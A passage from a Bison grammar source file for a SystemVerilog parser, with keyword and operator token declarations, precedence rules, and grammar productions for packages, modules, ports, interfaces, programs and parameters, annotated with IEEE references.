%token<str> yCASE "case"
%token<str> yCASEX "casex"
%token<str> yCASEZ "casez"
%token<str> yCHANDLE "chandle"
%token<str> yCHECKER "checker"
%token<str> yCLASS "class"
%token<str> yCLOCK "clock"
%token<str> yCLOCKING "clocking"
%token<str> yCONSTRAINT "constraint"
%token<str> yCONST__ETC "const"
%token<str> yCONST__LEX "const-in-lex"
%token<str> yCONST__LOCAL "const-then-local"
%token<str> yCONST__REF "const-then-ref"
%token<str> yCONTEXT "context"
%token<str> yCONTINUE "continue"
%token<str> yCOVER "cover"
%token<str> yCOVERGROUP "covergroup"
%token<str> yCOVERPOINT "coverpoint"
%token<str> yCROSS "cross"
%token<str> yDEASSIGN "deassign"
%token<str> yDEFAULT "default"
%token<str> yDEFPARAM "defparam"
%token<str> yDISABLE "disable"
%token<str> yDIST "dist"
%token<str> yDO "do"
%token<str> yEDGE "edge"
%token<str> yELSE "else"
%token<str> yEND "end"
%token<str> yENDCASE "endcase"
%token<str> yENDCHECKER "endchecker"
%token<str> yENDCLASS "endclass"
%token<str> yENDCLOCKING "endclocking"
%token<str> yENDFUNCTION "endfunction"
%token<str> yENDGENERATE "endgenerate"
%token<str> yENDGROUP "endgroup"
%token<str> yENDINTERFACE "endinterface"
%token<str> yENDMODULE "endmodule"
%token<str> yENDPACKAGE "endpackage"
%token<str> yENDPROGRAM "endprogram"
%token<str> yENDPROPERTY "endproperty"
%token<str> yENDSEQUENCE "endsequence"
%token<str> yENDSPECIFY "endspecify"
%token<str> yENDTABLE "endtable"
%token<str> yENDTASK "endtask"
%token<str> yENUM "enum"
%token<str> yEVENT "event"
%token<str> yEVENTUALLY "eventually"
%token<str> yEXPECT "expect"
%token<str> yEXPORT "export"
%token<str> yEXTENDS "extends"
%token<str> yEXTERN "extern"
%token<str> yFINAL "final"
%token<str> yFIRST_MATCH "first_match"
%token<str> yFOR "for"
%token<str> yFORCE "force"
%token<str> yFOREACH "foreach"
%token<str> yFOREVER "forever"
%token<str> yFORK "fork"
%token<str> yFORKJOIN "forkjoin"
%token<str> yFUNCTION__ETC "function"
%token<str> yFUNCTION__LEX "function-in-lex"
%token<str> yFUNCTION__aPUREV "function-is-pure-virtual"
%token<str> yGENERATE "generate"
%token<str> yGENVAR "genvar"
%token<str> yGLOBAL__CLOCKING "global-then-clocking"
%token<str> yGLOBAL__LEX "global-in-lex"
%token<str> yIF "if"
%token<str> yIFF "iff"
%token<str> yIGNORE_BINS "ignore_bins"
%token<str> yILLEGAL_BINS "illegal_bins"
%token<str> yIMPLEMENTS "implements"
%token<str> yIMPLIES "implies"
%token<str> yIMPORT "import"
%token<str> yINITIAL "initial"
%token<str> yINOUT "inout"
%token<str> yINPUT "input"
%token<str> yINSIDE "inside"
%token<str> yINT "int"
%token<str> yINTEGER "integer"
%token<str> yINTERCONNECT "interconnect"
%token<str> yINTERFACE "interface"
%token<str> yINTERSECT "intersect"
%token<str> yJOIN "join"
%token<str> yLET "let"
%token<str> yLOCALPARAM "localparam"
%token<str> yLOCAL__COLONCOLON "local-then-::"
%token<str> yLOCAL__ETC "local"
%token<str> yLOCAL__LEX "local-in-lex"
%token<str> yLOGIC "logic"
%token<str> yLONGINT "longint"
%token<str> yMATCHES "matches"
%token<str> yMODPORT "modport"
%token<str> yMODULE "module"
%token<str> yNAND "nand"
%token<str> yNEGEDGE "negedge"
%token<str> yNETTYPE "nettype"
%token<str> yNEW__ETC "new"
%token<str> yNEW__LEX "new-in-lex"
%token<str> yNEW__PAREN "new-then-paren"
%token<str> yNEXTTIME "nexttime"
%token<str> yNOR "nor"
%token<str> yNOT "not"
%token<str> yNULL "null"
%token<str> yOR "or"
%token<str> yOUTPUT "output"
%token<str> yPACKAGE "package"
%token<str> yPACKED "packed"
%token<str> yPARAMETER "parameter"
%token<str> yPOSEDGE "posedge"
%token<str> yPRIORITY "priority"
%token<str> yPROGRAM "program"
%token<str> yPROPERTY "property"
%token<str> yPROTECTED "protected"
%token<str> yPURE "pure"
%token<str> yRAND "rand"
%token<str> yRANDC "randc"
%token<str> yRANDCASE "randcase"
%token<str> yRANDSEQUENCE "randsequence"
%token<str> yREAL "real"
%token<str> yREALTIME "realtime"
%token<str> yREF "ref"
%token<str> yREG "reg"
%token<str> yREJECT_ON "reject_on"
%token<str> yRELEASE "release"
%token<str> yREPEAT "repeat"
%token<str> yRESTRICT "restrict"
%token<str> yRETURN "return"
%token<str> ySCALARED "scalared"
%token<str> ySEQUENCE "sequence"
%token<str> ySHORTINT "shortint"
%token<str> ySHORTREAL "shortreal"
%token<str> ySIGNED "signed"
%token<str> ySOFT "soft"
%token<str> ySOLVE "solve"
%token<str> ySPECIFY "specify"
%token<str> ySPECPARAM "specparam"
%token<str> ySTATIC__CONSTRAINT "static-then-constraint"
%token<str> ySTATIC__ETC "static"
%token<str> ySTATIC__LEX "static-in-lex"
%token<str> ySTRING "string"
%token<str> ySTRONG "strong"
%token<str> ySTRUCT "struct"
%token<str> ySUPER "super"
%token<str> ySUPPLY0 "supply0"
%token<str> ySUPPLY1 "supply1"
%token<str> ySYNC_ACCEPT_ON "sync_accept_on"
%token<str> ySYNC_REJECT_ON "sync_reject_on"
%token<str> yS_ALWAYS "s_always"
%token<str> yS_EVENTUALLY "s_eventually"
%token<str> yS_NEXTTIME "s_nexttime"
%token<str> yS_UNTIL "s_until"
%token<str> yS_UNTIL_WITH "s_until_with"
%token<str> yTABLE "table"
%token<str> yTAGGED "tagged"
%token<str> yTASK__ETC "task"
%token<str> yTASK__LEX "task-in-lex"
%token<str> yTASK__aPUREV "task-is-pure-virtual"
%token<str> yTHIS "this"
%token<str> yTHROUGHOUT "throughout"
%token<str> yTIME "time"
%token<str> yTIMEPRECISION "timeprecision"
%token<str> yTIMEUNIT "timeunit"
%token<str> yTRI "tri"
%token<str> yTRI0 "tri0"
%token<str> yTRI1 "tri1"
%token<str> yTRIAND "triand"
%token<str> yTRIOR "trior"
%token<str> yTRIREG "trireg"
%token<str> yTYPE "type"
%token<str> yTYPEDEF "typedef"
%token<str> yUNION "union"
%token<str> yUNIQUE "unique"
%token<str> yUNIQUE0 "unique0"
%token<str> yUNSIGNED "unsigned"
%token<str> yUNTIL "until"
%token<str> yUNTIL_WITH "until_with"
%token<str> yUNTYPED "untyped"
%token<str> yVAR "var"
%token<str> yVECTORED "vectored"
%token<str> yVIRTUAL__CLASS "virtual-then-class"
%token<str> yVIRTUAL__ETC "virtual"
%token<str> yVIRTUAL__INTERFACE "virtual-then-interface"
%token<str> yVIRTUAL__LEX "virtual-in-lex"
%token<str> yVIRTUAL__anyID "virtual-then-identifier"
%token<str> yVOID "void"
%token<str> yWAIT "wait"
%token<str> yWAIT_ORDER "wait_order"
%token<str> yWAND "wand"
%token<str> yWEAK "weak"
%token<str> yWHILE "while"
%token<str> yWILDCARD "wildcard"
%token<str> yWIRE "wire"
%token<str> yWITHIN "within"
%token<str> yWITH__BRA "with-then-["
%token<str> yWITH__CUR "with-then-{"
%token<str> yWITH__ETC "with"
%token<str> yWITH__LEX "with-in-lex"
%token<str> yWITH__PAREN "with-then-("
%token<str> yWOR "wor"
%token<str> yXNOR "xnor"
%token<str> yXOR "xor"
%token<str> yD_ERROR "$error"
%token<str> yD_FATAL "$fatal"
%token<str> yD_INFO "$info"
%token<str> yD_ROOT "$root"
%token<str> yD_UNIT "$unit"
%token<str> yD_WARNING "$warning"
%token<str> yP_TICK "'"
%token<str> yP_TICKBRA "'{"
%token<str> yP_OROR "||"
%token<str> yP_ANDAND "&&"
%token<str> yP_NOR "~|"
%token<str> yP_XNOR "^~"
%token<str> yP_NAND "~&"
%token<str> yP_EQUAL "=="
%token<str> yP_NOTEQUAL "!="
%token<str> yP_CASEEQUAL "==="
%token<str> yP_CASENOTEQUAL "!=="
%token<str> yP_WILDEQUAL "==?"
%token<str> yP_WILDNOTEQUAL "!=?"
%token<str> yP_GTE ">="
%token<str> yP_LTE "<="
%token<str> yP_LTE__IGNORE "<=-ignored" // Used when expr:<= means assignment
%token<str> yP_SLEFT "<<"
%token<str> yP_SRIGHT ">>"
%token<str> yP_SSRIGHT ">>>"
%token<str> yP_POW "**"
%token<str> yP_PAR__IGNORE "(-ignored" // Used when sequence_expr:expr:( is ignored
%token<str> yP_PAR__STRENGTH "(-for-strength"
%token<str> yP_LTMINUSGT "<->"
%token<str> yP_PLUSCOLON "+:"
%token<str> yP_MINUSCOLON "-:"
%token<str> yP_MINUSGT "->"
%token<str> yP_MINUSGTGT "->>"
%token<str> yP_EQGT "=>"
%token<str> yP_ASTGT "*>"
%token<str> yP_ANDANDAND "&&&"
%token<str> yP_POUNDPOUND "##"
%token<str> yP_POUNDMINUSPD "#-#"
%token<str> yP_POUNDEQPD "#=#"
%token<str> yP_DOTSTAR ".*"
%token<str> yP_ATAT "@@"
%token<str> yP_COLONCOLON "::"
%token<str> yP_COLONEQ ":="
%token<str> yP_COLONDIV ":/"
%token<str> yP_ORMINUSGT "|->"
%token<str> yP_OREQGT "|=>"
%token<str> yP_BRASTAR "[*"
%token<str> yP_BRAEQ "[="
%token<str> yP_BRAMINUSGT "[->"
%token<str> yP_BRAPLUSKET "[+]"
%token<str> yP_PLUSPLUS "++"
%token<str> yP_MINUSMINUS "--"
%token<str> yP_PLUSEQ "+="
%token<str> yP_MINUSEQ "-="
%token<str> yP_TIMESEQ "*="
%token<str> yP_DIVEQ "/="
%token<str> yP_MODEQ "%="
%token<str> yP_ANDEQ "&="
%token<str> yP_OREQ "|="
%token<str> yP_XOREQ "^="
%token<str> yP_SLEFTEQ "<<="
%token<str> yP_SRIGHTEQ ">>="
%token<str> yP_SSRIGHTEQ ">>>="
// '( is not a operator, as "' (" is legal
//********************
// Verilog op precedence
%token<str> prUNARYARITH
%token<str> prREDUCTION
%token<str> prNEGATION
%token<str> prEVENTBEGIN
%token<str> prTAGGED
// These prevent other conflicts
%left yP_ANDANDAND
%left yMATCHES
%left prTAGGED
%left prSEQ_CLOCKING
// Lowest precedence
// These are in IEEE 17.7.1
%nonassoc yALWAYS yS_ALWAYS yEVENTUALLY yS_EVENTUALLY yACCEPT_ON yREJECT_ON ySYNC_ACCEPT_ON ySYNC_REJECT_ON
%right yP_ORMINUSGT yP_OREQGT yP_POUNDMINUSPD yP_POUNDEQPD
%right yUNTIL yS_UNTIL yUNTIL_WITH yS_UNTIL_WITH yIMPLIES
%right yIFF
%left yOR
%left yAND
%nonassoc yNOT yNEXTTIME yS_NEXTTIME
%left yINTERSECT
%left yWITHIN
%right yTHROUGHOUT
%left prPOUNDPOUND_MULTI
%left yP_POUNDPOUND
%left yP_BRASTAR yP_BRAEQ yP_BRAMINUSGT yP_BRAPLUSKET
// Not specified, but needed higher than yOR, lower than normal non-pexpr expressions
%left yPOSEDGE yNEGEDGE yEDGE
%left '{' '}'
//%nonassoc '=' yP_PLUSEQ yP_MINUSEQ yP_TIMESEQ yP_DIVEQ yP_MODEQ yP_ANDEQ yP_OREQ yP_XOREQ yP_SLEFTEQ yP_SRIGHTEQ yP_SSRIGHTEQ yP_COLONEQ yP_COLONDIV yP_LTE
%right yP_MINUSGT yP_LTMINUSGT
%right '?' ':'
%left yP_OROR
%left yP_ANDAND
%left '|' yP_NOR
%left '^' yP_XNOR
%left '&' yP_NAND
%left yP_EQUAL yP_NOTEQUAL yP_CASEEQUAL yP_CASENOTEQUAL yP_WILDEQUAL yP_WILDNOTEQUAL
%left '>' '<' yP_GTE yP_LTE yP_LTE__IGNORE yINSIDE yDIST
%left yP_SLEFT yP_SRIGHT yP_SSRIGHT
%left '+' '-'
%left '*' '/' '%'
%left yP_POW
%left prUNARYARITH yP_MINUSMINUS yP_PLUSPLUS prREDUCTION prNEGATION
%left '.'
// Not in IEEE, but need to avoid conflicts; TICK should bind tightly just lower than COLONCOLON
%left yP_TICK
//%left '(' ')' '[' ']' yP_COLONCOLON '.'
%nonassoc prLOWER_THAN_ELSE
%nonassoc yELSE
//BISONPRE_TYPES
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
// Blank lines for type insertion
%start source_text
%%
//**********************************************************************
// Feedback to the Lexer
// Note we read a parenthesis ahead, so this may not change the lexer at the right point.
statePushVlg: // For PSL lexing, escape current state into Verilog state
/* empty */ { }
;
statePop: // Return to previous lexing state
/* empty */ { }
;
//**********************************************************************
// Files
source_text: // ==IEEE: source_text
/* empty */ { }
// // timeunits_declaration moved into description:package_item
| descriptionList { }
;
descriptionList: // IEEE: part of source_text
description { }
| descriptionList description { }
;
description: // ==IEEE: description
module_declaration { }
// // udp_declaration moved into module_declaration
| interface_declaration { }
| program_declaration { }
| package_declaration { }
| package_item { }
| bind_directive { }
// unsupported // IEEE: config_declaration
| error { }
;
timeunits_declaration: // ==IEEE: timeunits_declaration
yTIMEUNIT yaTIMENUM ';' { }
| yTIMEUNIT yaTIMENUM '/' yaTIMENUM ';' { NEED_S09($<fl>1,"timeunit /"); }
| yTIMEPRECISION yaTIMENUM ';' { }
;
//**********************************************************************
// Packages
package_declaration: // ==IEEE: package_declaration
packageFront package_itemListE yENDPACKAGE endLabelE
{ PARSEP->endpackageCb($<fl>3,$3);
PARSEP->symPopScope(VAstType::PACKAGE); }
;
packageFront:
// // Lifetime is 1800-2009
yPACKAGE lifetimeE idAny ';'
{ PARSEP->symPushNew(VAstType::PACKAGE, $3);
PARSEP->packageCb($<fl>1,$1, $3); }
;
package_itemListE: // IEEE: [{ package_item }]
/* empty */ { }
| package_itemList { }
;
package_itemList: // IEEE: { package_item }
package_item { }
| package_itemList package_item { }
;
package_item: // ==IEEE: package_item
package_or_generate_item_declaration { }
| anonymous_program { }
| package_export_declaration { }
| timeunits_declaration { }
;
package_or_generate_item_declaration: // ==IEEE: package_or_generate_item_declaration
net_declaration { }
| data_declaration { }
| task_declaration { }
| function_declaration { }
| checker_declaration { }
| dpi_import_export { }
| extern_constraint_declaration { }
| class_declaration { }
// // class_constructor_declaration is part of function_declaration
| local_parameter_declaration ';' { }
| parameter_declaration ';' { }
| covergroup_declaration { }
| overload_declaration { }
| assertion_item_declaration { }
| ';' { }
;
package_import_declarationList:
package_import_declaration { }
| package_import_declarationList package_import_declaration { }
;
package_import_declaration: // ==IEEE: package_import_declaration
yIMPORT package_import_itemList ';' { }
;
package_import_itemList:
package_import_item { }
| package_import_itemList ',' package_import_item { }
;
package_import_item: // ==IEEE: package_import_item
yaID__aPACKAGE yP_COLONCOLON package_import_itemObj
{ PARSEP->syms().import($<fl>1,$1,$3);
PARSEP->importCb($<fl>1,$1,$3); }
;
package_import_itemObj<str>: // IEEE: part of package_import_item
idAny { $<fl>$=$<fl>1; $$=$1; }
| '*' { $<fl>$=$<fl>1; $$=$1; }
;
package_export_declaration<str>: // IEEE: package_export_declaration
yEXPORT '*' yP_COLONCOLON '*' ';' { }
| yEXPORT package_import_itemList ';' { }
;
//**********************************************************************
// Module headers
module_declaration: // ==IEEE: module_declaration
// // timeunits_declaration instead in module_item
// // IEEE: module_nonansi_header + module_ansi_header
modFront importsAndParametersE portsStarE ';'
module_itemListE yENDMODULE endLabelE
{ PARSEP->endmoduleCb($<fl>6,$6);
PARSEP->symPopScope(VAstType::MODULE); }
//
| yEXTERN modFront importsAndParametersE portsStarE ';'
{ PARSEP->symPopScope(VAstType::MODULE); }
;
modFront:
// // General note: all *Front functions must call symPushNew before
// // any formal arguments, as the arguments must land in the new scope.
yMODULE lifetimeE idAny
{ PARSEP->symPushNew(VAstType::MODULE, $3);
PARSEP->moduleCb($<fl>1,$1,$3,false,PARSEP->inCellDefine()); }
;
importsAndParametersE: // IEEE: common part of module_declaration, interface_declaration, program_declaration
// // { package_import_declaration } [ parameter_port_list ]
parameter_port_listE { }
| package_import_declarationList parameter_port_listE { }
;
parameter_value_assignmentE: // IEEE: [ parameter_value_assignment ]
/* empty */ { }
| '#' '(' cellpinList ')' { }
// // Side effect of combining *_instantiations
| '#' delay_value { }
;
parameter_port_listE: // IEEE: parameter_port_list + empty == parameter_value_assignment
/* empty */ { }
| '#' '(' ')' { }
// // IEEE: '#' '(' list_of_param_assignments { ',' parameter_port_declaration } ')'
// // IEEE: '#' '(' parameter_port_declaration { ',' parameter_port_declaration } ')'
// // Can't just do that as "," conflicts with between vars and between stmts, so
// // split into pre-comma and post-comma parts
| '#' '(' {VARRESET_LIST("parameter");} paramPortDeclOrArgList ')' { VARRESET_NONLIST(""); }
// // Note legal to start with "a=b" with no parameter statement
;
paramPortDeclOrArgList: // IEEE: list_of_param_assignments + { parameter_port_declaration }
paramPortDeclOrArg { }
| paramPortDeclOrArgList ',' paramPortDeclOrArg { }
;
paramPortDeclOrArg: // IEEE: param_assignment + parameter_port_declaration
// // We combine the two as we can't tell which follows a comma
param_assignment { }
| parameter_port_declarationFront param_assignment { }
;
portsStarE: // IEEE: .* + list_of_ports + list_of_port_declarations + empty
/* empty */ { }
// // .* expanded from module_declaration
// // '(' ')' handled by list_of_ports:portE
| '(' yP_DOTSTAR ')' { }
| '(' {VARRESET_LIST("");} list_of_portsE ')' { VARRESET_NONLIST(""); }
;
list_of_portsE: // IEEE: list_of_ports + list_of_port_declarations
portE { }
| list_of_portsE ',' portE { }
;
portE: // ==IEEE: [ port ]
// // Though not type for interfaces, we factor out the port direction and type
// // so we can simply handle it in one place
//
// // IEEE: interface_port_header port_identifier { unpacked_dimension }
// // Expanded interface_port_header
// // We use instantCb here because the non-port form looks just like a module instantiation
/* empty */ { }
| portDirNetE id/*interface*/ idAny/*port*/ variable_dimensionListE sigAttrListE
{ VARDTYPE($2); VARIO("interface"); VARDONE($<fl>2, $3, $4, ""); PINNUMINC();
PARSEP->instantCb($<fl>2, $2, $3, $4); PARSEP->endcellCb($<fl>2,""); }
| portDirNetE yINTERFACE idAny/*port*/ variable_dimensionListE sigAttrListE
{ VARDTYPE($2); VARIO("interface"); VARDONE($<fl>2, $3, $4, ""); PINNUMINC(); }
| portDirNetE id/*interface*/ '.' idAny/*modport*/ idAny/*port*/ variable_dimensionListE sigAttrListE
{ VARDTYPE($2+"."+$4); VARIO("interface"); VARDONE($<fl>2, $5, $6, ""); PINNUMINC();
PARSEP->instantCb($<fl>2, $2, $5, $6); PARSEP->endcellCb($<fl>2,""); }
| portDirNetE yINTERFACE '.' idAny/*modport*/ idAny/*port*/ variable_dimensionListE sigAttrListE
{ VARDTYPE($2+"."+$4); VARIO("interface"); VARDONE($<fl>2, $5, $6, ""); PINNUMINC(); }
//
// // IEEE: ansi_port_declaration, with [port_direction] removed
// // IEEE: [ net_port_header | interface_port_header ] port_identifier { unpacked_dimension } [ '=' constant_expression ]
// // IEEE: [ net_port_header | variable_port_header ] '.' port_identifier '(' [ expression ] ')'
// // IEEE: [ variable_port_header ] port_identifier { variable_dimension } [ '=' constant_expression ]
// // Substitute net_port_header = [ port_direction ] net_port_type
// // Substitute variable_port_header = [ port_direction ] variable_port_type
// // Substitute net_port_type = [ net_type ] data_type_or_implicit
// // Substitute variable_port_type = var_data_type
// // [ [ port_direction ] net_port_type | interface_port_header ] port_identifier { unpacked_dimension }
// // [ [ port_direction ] var_data_type ] port_identifier variable_dimensionListE [ '=' constant_expression ]
// // [ [ port_direction ] net_port_type | [ port_direction ] var_data_type ] '.' port_identifier '(' [ expression ] ')'
//
// // Remove optional '[...] id' is in portAssignment
// // Remove optional '[port_direction]' is in port
// // net_port_type | interface_port_header port_identifier { unpacked_dimension }
// // net_port_type | interface_port_header port_identifier { unpacked_dimension }
// // var_data_type port_identifier variable_dimensionListE [ '=' constExpr ]
// // net_port_type | [ port_direction ] var_data_type '.' port_identifier '(' [ expr ] ')'
// // Expand implicit_type
//
// // IEEE-2012: Since a net_type_identifier is a data_type, it falls into
// // the rules here without change.
//
// // variable_dimensionListE instead of rangeListE to avoid conflicts
//
// // Note implicit rules looks just line declaring additional followon port
// // No VARDECL("port") for implicit, as we don't want to declare variables for them
| portDirNetE var_data_type '.' portSig '(' portAssignExprE ')' sigAttrListE
{ VARDTYPE($2); VARDONE($<fl>4, $4, "", ""); PINNUMINC(); }
| portDirNetE signing '.' portSig '(' portAssignExprE ')' sigAttrListE
{ VARDTYPE($2); VARDONE($<fl>4, $4, "", ""); PINNUMINC(); }
| portDirNetE signingE variable_dimensionList '.' portSig '(' portAssignExprE ')' sigAttrListE
{ VARDTYPE(SPACED($2,$3)); VARDONE($<fl>5, $5, "", ""); PINNUMINC(); }
| portDirNetE yINTERCONNECT signingE variable_dimensionListE '.' portSig '(' portAssignExprE ')' sigAttrListE
{ VARDTYPE(SPACED(SPACED($2,$3),$4)); VARDONE($<fl>6, $6, "", ""); PINNUMINC(); }
| portDirNetE /*implicit*/ '.' portSig '(' portAssignExprE ')' sigAttrListE
{ /*VARDTYPE-same*/ VARDONE($<fl>3, $3, "", ""); PINNUMINC(); }
//
| portDirNetE var_data_type portSig variable_dimensionListE sigAttrListE
{ VARDTYPE($2); VARDONE($<fl>3, $3, $4, ""); PINNUMINC(); }
| portDirNetE signing portSig variable_dimensionListE sigAttrListE
{ VARDTYPE($2); VARDONE($<fl>3, $3, $4, ""); PINNUMINC(); }
| portDirNetE signingE variable_dimensionList portSig variable_dimensionListE sigAttrListE
{ VARDTYPE(SPACED($2,$3)); VARDONE($<fl>4, $4, $5, ""); PINNUMINC(); }
| portDirNetE yINTERCONNECT signingE variable_dimensionList portSig variable_dimensionListE sigAttrListE
{ VARDTYPE(SPACED(SPACED($2,$3),$4)); VARDONE($<fl>5, $5, $6, ""); PINNUMINC(); }
| portDirNetE /*implicit*/ portSig variable_dimensionListE sigAttrListE
{ /*VARDTYPE-same*/ VARDONE($<fl>2, $2, $3, ""); PINNUMINC(); }
//
| portDirNetE var_data_type portSig variable_dimensionListE sigAttrListE '=' constExpr
{ VARDTYPE($2); VARDONE($<fl>3, $3, $4, $7); PINNUMINC(); }
| portDirNetE signing portSig variable_dimensionListE sigAttrListE '=' constExpr
{ VARDTYPE($2); VARDONE($<fl>3, $3, $4, $7); PINNUMINC(); }
| portDirNetE signingE variable_dimensionList portSig variable_dimensionListE sigAttrListE '=' constExpr
{ VARDTYPE(SPACED($2,$3)); VARDONE($<fl>4, $4, $5, $8); PINNUMINC(); }
| portDirNetE yINTERCONNECT signingE variable_dimensionList portSig variable_dimensionListE sigAttrListE '=' constExpr
{ VARDTYPE(SPACED(SPACED($2,$3),$4)); VARDONE($<fl>5, $5, $6, $9); PINNUMINC(); }
| portDirNetE /*implicit*/ portSig variable_dimensionListE sigAttrListE '=' constExpr
{ /*VARDTYPE-same*/ VARDONE($<fl>2, $2, $3, $6); PINNUMINC(); }
//
| '{' list_of_portsE '}' { }
;
portDirNetE: // IEEE: part of port, optional net type and/or direction
/* empty */ { }
// // Per spec, if direction given default the nettype.
// // The higher level rule may override this VARDTYPE with one later in the parse.
| port_direction { VARDTYPE(""/*default_nettype*/); }
| port_direction net_type { VARDTYPE(""/*default_nettype*/); } // net_type calls VARNET
| net_type { } // net_type calls VARNET
;
port_declNetE: // IEEE: part of port_declaration, optional net type
/* empty */ { }
| net_type { } // net_type calls VARNET
;
portAssignExprE: // IEEE: part of port, optional expression
/* empty */ { }
| expr { }
;
portSig<str>:
id/*port*/ { $<fl>$=$<fl>1; $$=$1; }
| idSVKwd { $<fl>$=$<fl>1; $$=$1; }
;
//**********************************************************************
// Interface headers
interface_declaration: // IEEE: interface_declaration + interface_nonansi_header + interface_ansi_header:
// // timeunits_delcarationE is instead in interface_item
intFront importsAndParametersE portsStarE ';'
interface_itemListE yENDINTERFACE endLabelE
{ PARSEP->endinterfaceCb($<fl>6, $6);
PARSEP->symPopScope(VAstType::INTERFACE); }
| yEXTERN intFront importsAndParametersE portsStarE ';' { }
;
intFront:
yINTERFACE lifetimeE idAny/*new_interface*/
{ PARSEP->symPushNew(VAstType::INTERFACE,$3);
PARSEP->interfaceCb($<fl>1,$1,$3); }
;
interface_itemListE:
/* empty */ { }
| interface_itemList { }
;
interface_itemList:
interface_item { }
| interface_itemList interface_item { }
;
interface_item: // IEEE: interface_item + non_port_interface_item
port_declaration ';' { }
// // IEEE: non_port_interface_item
| generate_region { }
| interface_or_generate_item { }
| program_declaration { }
// // IEEE 1800-2017: modport_item
// // See instead old 2012 position in interface_or_generate_item
| interface_declaration { }
| timeunits_declaration { }
// // See note in interface_or_generate item
| module_common_item { }
;
interface_or_generate_item: // ==IEEE: interface_or_generate_item
// // module_common_item in interface_item, as otherwise duplicated
// // with module_or_generate_item:module_common_item
// // IEEE 1800-2017 removes modport_declaration here
// // but for 2012 compatibility we retain it
modport_declaration { }
| extern_tf_declaration { }
;
//**********************************************************************
// Program headers
anonymous_program: // ==IEEE: anonymous_program
// // See the spec - this doesn't change the scope, items still go up "top"
yPROGRAM ';' anonymous_program_itemListE yENDPROGRAM { }
;
anonymous_program_itemListE: // IEEE: { anonymous_program_item }
/* empty */ { }
| anonymous_program_itemList { }
;
anonymous_program_itemList: // IEEE: { anonymous_program_item }
anonymous_program_item { }
| anonymous_program_itemList anonymous_program_item { }
;
anonymous_program_item: // ==IEEE: anonymous_program_item
task_declaration { }
| function_declaration { }
| class_declaration { }
| covergroup_declaration { }
// // class_constructor_declaration is part of function_declaration
| ';' { }
;
program_declaration: // IEEE: program_declaration + program_nonansi_header + program_ansi_header:
// // timeunits_delcarationE is instead in program_item
pgmFront importsAndParametersE portsStarE ';'
program_itemListE yENDPROGRAM endLabelE
{ PARSEP->endprogramCb($<fl>6,$6);
PARSEP->symPopScope(VAstType::PROGRAM); }
| yEXTERN pgmFront importsAndParametersE portsStarE ';'
{ PARSEP->symPopScope(VAstType::PROGRAM); }
;
pgmFront:
yPROGRAM lifetimeE idAny/*new_program*/
{ PARSEP->symPushNew(VAstType::PROGRAM,$3);
PARSEP->programCb($<fl>1,$1, $3);
}
;
program_itemListE: // ==IEEE: [{ program_item }]
/* empty */ { }
| program_itemList { }
;
program_itemList: // ==IEEE: { program_item }
program_item { }
| program_itemList program_item { }
;
program_item: // ==IEEE: program_item
port_declaration ';' { }
| non_port_program_item { }
;
non_port_program_item: // ==IEEE: non_port_program_item
continuous_assign { }
| module_or_generate_item_declaration { }
| initial_construct { }
| final_construct { }
| concurrent_assertion_item { }
| timeunits_declaration { }
| program_generate_item { }
;
program_generate_item: // ==IEEE: program_generate_item
loop_generate_construct { }
| conditional_generate_construct { }
| generate_region { }
| elaboration_system_task { }
;
extern_tf_declaration: // ==IEEE: extern_tf_declaration
yEXTERN task_prototype ';' { }
| yEXTERN function_prototype ';' { }
| yEXTERN yFORKJOIN task_prototype ';' { }
;
modport_declaration: // ==IEEE: modport_declaration
yMODPORT modport_itemList ';' { }
;
modport_itemList: // IEEE: part of modport_declaration
modport_item { }
| modport_itemList ',' modport_item { }
;
modport_item: // ==IEEE: modport_item
modport_idFront '(' {VARRESET_LIST("");} modportPortsDeclList ')'
{ VARRESET_NONLIST("");
PARSEP->endmodportCb($<fl>1, "endmodport");
PARSEP->symPopScope(VAstType::MODPORT); }
;
modport_idFront:
id/*new-modport*/
{ PARSEP->symPushNew(VAstType::MODPORT,$1);
PARSEP->modportCb($<fl>1,"modport",$1); }
;
modportPortsDeclList:
modportPortsDecl { }
| modportPortsDeclList ',' modportPortsDecl { }
;
// IEEE: modport_ports_declaration + modport_simple_ports_declaration
// + (modport_tf_ports_declaration+import_export) + modport_clocking_declaration
// We've expanded the lists each take to instead just have standalone ID ports.
// We track the type as with the V2k series of defines, then create as each ID is seen.
modportPortsDecl:
// // IEEE: modport_simple_ports_declaration
port_direction modportSimplePort { }
// // IEEE: modport_clocking_declaration
| yCLOCKING idAny/*clocking_identifier*/ { }
| yIMPORT modport_tf_port { }
| yEXPORT modport_tf_port { }
// Continuations of above after a comma.
// // IEEE: modport_simple_ports_declaration
| modportSimplePort { }
;
modportSimplePort: // IEEE: modport_simple_port or modport_tf_port, depending what keyword was earlier
// // Note 'init' field is used to say what to connect to
id { VARDONE($<fl>1,$1,"",$1); PINNUMINC(); }
| '.' idAny '(' ')' { VARDONE($<fl>1,$2,"",""); PINNUMINC(); }
| '.' idAny '(' expr ')' { VARDONE($<fl>1,$2,"",$4); PINNUMINC(); }
;
modport_tf_port: // ==IEEE: modport_tf_port
id/*tf_identifier*/ { }
| method_prototype { }
;
//************************************************
// Variable Declarations
genvar_declaration: // ==IEEE: genvar_declaration
yGENVAR list_of_genvar_identifiers ';' { }
;
list_of_genvar_identifiers: // IEEE: list_of_genvar_identifiers (for declaration)
genvar_identifierDecl { }
| list_of_genvar_identifiers ',' genvar_identifierDecl { }
;
genvar_identifierDecl: // IEEE: genvar_identifier (for declaration)
id/*new-genvar_identifier*/ sigAttrListE { VARRESET_NONLIST("genvar"); VARDONE($<fl>1, $1, "", ""); }
;
local_parameter_declaration: // IEEE: local_parameter_declaration
// // See notes in parameter_declaration
local_parameter_declarationFront list_of_param_assignments { }
;
parameter_declaration: // IEEE: parameter_declaration
// // IEEE: yPARAMETER yTYPE list_of_type_assignments ';'
// // Instead of list_of_type_assignments
// // we use list_of_param_assignments because for port handling
// // it already must accept types, so simpler to have code only one place
parameter_declarationFront list_of_param_assignments { }
;
